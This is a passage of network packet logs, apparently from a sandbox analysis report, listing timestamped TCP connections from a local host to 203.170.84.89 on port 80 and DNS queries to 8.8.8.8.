Feb 22, 2021 19:14:44.564707994 CET	80	49848	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:44.564831972 CET	80	49848	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:44.564836025 CET	49848	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:44.564893961 CET	49848	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:44.785031080 CET	49849	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:44.900289059 CET	80	49848	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:45.130418062 CET	80	49849	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:45.130614996 CET	49849	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:45.133831978 CET	49849	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:45.479199886 CET	80	49849	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:45.479481936 CET	49849	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:45.824578047 CET	80	49849	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:45.854491949 CET	80	49849	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:45.854528904 CET	80	49849	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:45.854818106 CET	49849	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:45.854892015 CET	49849	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:46.089612961 CET	49850	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:46.202233076 CET	80	49849	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:46.434928894 CET	80	49850	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:46.435386896 CET	49850	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:46.440406084 CET	49850	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:46.785576105 CET	80	49850	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:46.785778046 CET	49850	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:47.130799055 CET	80	49850	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:47.171031952 CET	80	49850	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:47.171273947 CET	49850	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:47.171305895 CET	80	49850	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:47.171386003 CET	49850	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:47.377475023 CET	49851	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:47.516170025 CET	80	49850	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:47.726861000 CET	80	49851	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:47.727060080 CET	49851	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:47.730696917 CET	49851	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:48.079344988 CET	80	49851	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:48.079566956 CET	49851	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:48.428066969 CET	80	49851	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:48.464941978 CET	80	49851	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:48.465244055 CET	49851	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:48.465249062 CET	80	49851	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:48.465356112 CET	49851	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:48.705482960 CET	49852	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:48.815478086 CET	80	49851	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:49.043734074 CET	80	49852	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:49.043884039 CET	49852	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:49.051549911 CET	49852	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:49.389847994 CET	80	49852	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:49.390254974 CET	49852	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:49.728283882 CET	80	49852	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:49.756752014 CET	80	49852	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:49.756836891 CET	80	49852	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:49.757126093 CET	49852	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:49.757201910 CET	49852	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:49.998437881 CET	49853	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:50.095185041 CET	80	49852	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:50.333128929 CET	80	49853	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:50.333374977 CET	49853	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:50.340811014 CET	49853	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:50.675297976 CET	80	49853	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:50.675412893 CET	49853	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:51.009763002 CET	80	49853	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:51.040293932 CET	80	49853	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:51.040643930 CET	80	49853	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:51.040776014 CET	49853	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:51.040818930 CET	49853	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:51.270282984 CET	49854	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:51.376590014 CET	80	49853	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:51.615578890 CET	80	49854	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:51.615844011 CET	49854	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:51.621969938 CET	49854	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:51.967092991 CET	80	49854	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:51.967381954 CET	49854	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:52.312628984 CET	80	49854	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:52.342394114 CET	80	49854	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:52.342526913 CET	80	49854	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:52.342597008 CET	49854	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:52.342643023 CET	49854	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:52.568804026 CET	49855	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:52.688940048 CET	80	49854	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:52.903932095 CET	80	49855	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:52.904067993 CET	49855	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:52.907812119 CET	49855	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:53.243832111 CET	80	49855	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:53.244462967 CET	49855	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:53.579478025 CET	80	49855	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:53.614855051 CET	80	49855	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:53.615014076 CET	80	49855	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:53.615245104 CET	49855	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:53.615283966 CET	49855	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:53.847465992 CET	49856	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:53.951869011 CET	80	49855	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:54.192909956 CET	80	49856	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:54.193166971 CET	49856	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:54.200424910 CET	49856	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:54.545804024 CET	80	49856	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:54.545985937 CET	49856	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:54.891036987 CET	80	49856	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:54.924731016 CET	80	49856	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:54.924935102 CET	80	49856	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:54.924977064 CET	49856	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:54.925045013 CET	49856	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:55.145603895 CET	49857	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:55.270009041 CET	80	49856	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:55.482247114 CET	80	49857	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:55.482395887 CET	49857	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:55.486345053 CET	49857	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:55.825571060 CET	80	49857	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:55.825711966 CET	49857	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:56.163249016 CET	80	49857	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:56.190764904 CET	80	49857	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:56.190982103 CET	49857	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:56.191020966 CET	80	49857	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:56.191104889 CET	49857	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:56.407243013 CET	49858	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:56.527959108 CET	80	49857	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:56.741144896 CET	80	49858	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:56.741470098 CET	49858	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:56.748662949 CET	49858	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:57.082803011 CET	80	49858	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:57.082882881 CET	49858	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:57.416513920 CET	80	49858	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:57.456227064 CET	80	49858	203.170.84.89	192.168.2.4
Feb 22, 2021 19:14:57.457880974 CET	49858	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:57.457911968 CET	49858	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:14:57.793698072 CET	80	49858	203.170.84.89	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 22, 2021 19:12:46.699098110 CET	49714	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:12:46.757280111 CET	53	49714	8.8.8.8	192.168.2.4
Feb 22, 2021 19:12:47.485116005 CET	58028	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:12:47.533768892 CET	53	58028	8.8.8.8	192.168.2.4
Feb 22, 2021 19:12:48.048538923 CET	53097	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:12:48.110224009 CET	53	53097	8.8.8.8	192.168.2.4
Feb 22, 2021 19:12:48.537398100 CET	49257	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:12:48.586189032 CET	53	49257	8.8.8.8	192.168.2.4
Feb 22, 2021 19:12:49.546427965 CET	62389	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:12:49.600754976 CET	53	62389	8.8.8.8	192.168.2.4
Feb 22, 2021 19:12:50.922528982 CET	49910	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:12:50.971520901 CET	53	49910	8.8.8.8	192.168.2.4
Feb 22, 2021 19:12:52.349210024 CET	55854	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:12:52.400909901 CET	53	55854	8.8.8.8	192.168.2.4
Feb 22, 2021 19:12:53.197659969 CET	64549	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:12:53.249222040 CET	53	64549	8.8.8.8	192.168.2.4
Feb 22, 2021 19:12:54.069267988 CET	63153	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:12:54.118216038 CET	53	63153	8.8.8.8	192.168.2.4
Feb 22, 2021 19:12:54.963105917 CET	52991	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:12:55.012037992 CET	53	52991	8.8.8.8	192.168.2.4
Feb 22, 2021 19:12:55.750237942 CET	53700	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:12:55.801871061 CET	53	53700	8.8.8.8	192.168.2.4
Feb 22, 2021 19:12:56.992151976 CET	51726	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:12:57.060209036 CET	53	51726	8.8.8.8	192.168.2.4
Feb 22, 2021 19:12:57.798089027 CET	56794	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:12:57.847174883 CET	53	56794	8.8.8.8	192.168.2.4
Feb 22, 2021 19:12:58.594722033 CET	56534	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:12:58.645100117 CET	53	56534	8.8.8.8	192.168.2.4
Feb 22, 2021 19:12:59.454663992 CET	56627	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:12:59.506560087 CET	53	56627	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:00.408385038 CET	56621	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:00.457483053 CET	53	56621	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:01.223525047 CET	63116	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:01.273691893 CET	53	63116	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:01.605370045 CET	64078	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:01.708600998 CET	53	64078	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:02.055803061 CET	64801	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:02.106054068 CET	53	64801	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:03.013977051 CET	61721	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:03.113802910 CET	53	61721	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:03.449681044 CET	51255	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:03.501132965 CET	53	51255	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:04.268918991 CET	61522	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:04.329303026 CET	53	61522	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:05.635144949 CET	52337	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:05.698806047 CET	53	52337	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:07.006390095 CET	55046	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:07.065711021 CET	53	55046	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:08.984812021 CET	49612	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:09.033745050 CET	53	49612	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:10.312819958 CET	49285	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:10.409897089 CET	53	49285	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:11.686445951 CET	50601	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:11.784482002 CET	53	50601	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:13.049364090 CET	60875	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:13.098505974 CET	53	60875	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:14.353496075 CET	56448	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:14.410690069 CET	53	56448	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:15.696485043 CET	59172	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:15.753534079 CET	53	59172	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:17.004920006 CET	62420	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:17.062061071 CET	53	62420	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:18.343101025 CET	60579	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:18.400012016 CET	53	60579	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:19.644253969 CET	50183	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:19.701555014 CET	53	50183	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:19.753859997 CET	61531	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:19.802674055 CET	53	61531	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:20.936100960 CET	49228	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:20.985097885 CET	53	49228	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:22.276679039 CET	59794	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:22.325532913 CET	53	59794	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:23.601208925 CET	55916	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:23.659809113 CET	53	55916	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:24.954325914 CET	52752	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:25.014542103 CET	53	52752	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:26.557146072 CET	60542	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:26.614264011 CET	53	60542	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:27.872664928 CET	60689	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:27.933027983 CET	53	60689	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:29.179162979 CET	64206	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:29.239970922 CET	53	64206	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:30.478329897 CET	50904	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:30.543951035 CET	53	50904	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:31.792977095 CET	57525	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:31.841751099 CET	53	57525	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:33.080705881 CET	53814	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:33.143090010 CET	53	53814	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:34.416704893 CET	53418	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:34.473993063 CET	53	53418	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:35.697698116 CET	62833	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:35.749298096 CET	53	62833	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:36.296514988 CET	59260	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:36.380817890 CET	53	59260	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:36.940398932 CET	49944	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:36.975975990 CET	63300	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:37.035079956 CET	53	49944	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:37.036025047 CET	53	63300	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:37.580722094 CET	61449	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:37.639991045 CET	53	61449	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:37.969660044 CET	51275	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:38.034594059 CET	53	51275	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:38.041256905 CET	63492	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:38.098578930 CET	53	63492	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:38.294977903 CET	58945	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:38.343662024 CET	53	58945	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:38.579691887 CET	60779	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:38.675987959 CET	53	60779	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:39.268973112 CET	64014	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:39.320518970 CET	53	64014	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:39.589708090 CET	57091	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:39.638431072 CET	53	57091	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:39.894169092 CET	55904	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:39.953531027 CET	53	55904	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:40.592643976 CET	52109	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:40.659733057 CET	53	52109	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:40.767162085 CET	54450	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:40.827141047 CET	53	54450	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:40.908086061 CET	49374	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:40.957115889 CET	53	49374	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:41.681437969 CET	50436	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:41.740370035 CET	53	50436	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:42.180453062 CET	62605	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:42.241112947 CET	54256	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:42.242538929 CET	53	62605	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:42.303832054 CET	53	54256	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:43.470884085 CET	52189	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:43.532692909 CET	53	52189	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:44.744219065 CET	56131	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:44.793344975 CET	53	56131	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:46.029913902 CET	62992	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:46.095216990 CET	53	62992	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:47.358259916 CET	54432	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:47.418471098 CET	53	54432	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:48.636250973 CET	57227	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:48.698528051 CET	53	57227	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:49.926906109 CET	58383	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:49.976164103 CET	53	58383	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:51.217977047 CET	63136	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:51.275183916 CET	53	63136	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:52.534214973 CET	50911	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:52.587490082 CET	53	50911	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:53.826677084 CET	63409	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:53.875464916 CET	53	63409	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:54.005342960 CET	59185	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:54.021559000 CET	64236	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:54.057297945 CET	53	59185	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:54.078851938 CET	53	64236	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:55.097614050 CET	56157	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:55.155000925 CET	53	56157	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:56.374689102 CET	55601	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:56.423229933 CET	53	55601	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:57.165973902 CET	52984	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:57.226808071 CET	53	52984	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:57.636794090 CET	51141	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:57.693878889 CET	53	51141	8.8.8.8	192.168.2.4
Feb 22, 2021 19:13:58.918042898 CET	53610	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:13:58.975639105 CET	53	53610	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:00.227699995 CET	61247	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:00.289978027 CET	53	61247	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:01.510381937 CET	65165	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:01.575758934 CET	53	65165	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:02.839185953 CET	52076	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:02.888058901 CET	53	52076	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:04.114171028 CET	54903	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:04.163002968 CET	53	54903	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:05.420623064 CET	55045	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:05.469511986 CET	53	55045	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:06.720895052 CET	54464	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:06.769843102 CET	53	54464	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:08.022066116 CET	50970	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:08.070943117 CET	53	50970	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:09.293391943 CET	55261	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:09.352627993 CET	53	55261	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:10.585911036 CET	59809	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:10.638309002 CET	53	59809	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:11.897115946 CET	51278	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:11.957366943 CET	53	51278	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:13.196566105 CET	51932	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:13.248152971 CET	53	51932	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:15.029618979 CET	59494	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:15.078545094 CET	53	59494	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:16.292236090 CET	55915	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:16.344048023 CET	53	55915	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:17.598541975 CET	49779	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:17.658497095 CET	53	49779	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:18.904568911 CET	49458	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:18.961647034 CET	53	49458	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:20.202388048 CET	57164	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:20.252974033 CET	53	57164	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:21.463465929 CET	49840	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:21.528162003 CET	53	49840	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:22.777031898 CET	57174	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:22.828773975 CET	53	57174	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:24.085288048 CET	58531	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:24.138386965 CET	53	58531	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:25.337888002 CET	49608	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:25.386800051 CET	53	49608	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:26.620599985 CET	55682	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:26.670846939 CET	53	55682	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:27.894123077 CET	62436	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:27.951292992 CET	53	62436	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:29.153413057 CET	61230	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:29.203366041 CET	53	61230	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:29.859769106 CET	64730	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:29.908608913 CET	53	64730	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:30.406487942 CET	60624	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:30.455286026 CET	53	60624	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:31.681385040 CET	62600	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:31.727921963 CET	53200	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:31.749803066 CET	53	62600	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:31.792812109 CET	53	53200	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:33.020991087 CET	61034	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:33.069703102 CET	53	61034	8.8.8.8	192.168.2.4
Feb 22, 2021 19:14:34.320353031 CET	57687	53	192.168.2.4	8.8.8.8
Feb 22, 2021 19:14:34.368915081 CET	53	57687	8.8.8.8	192.168.2.4
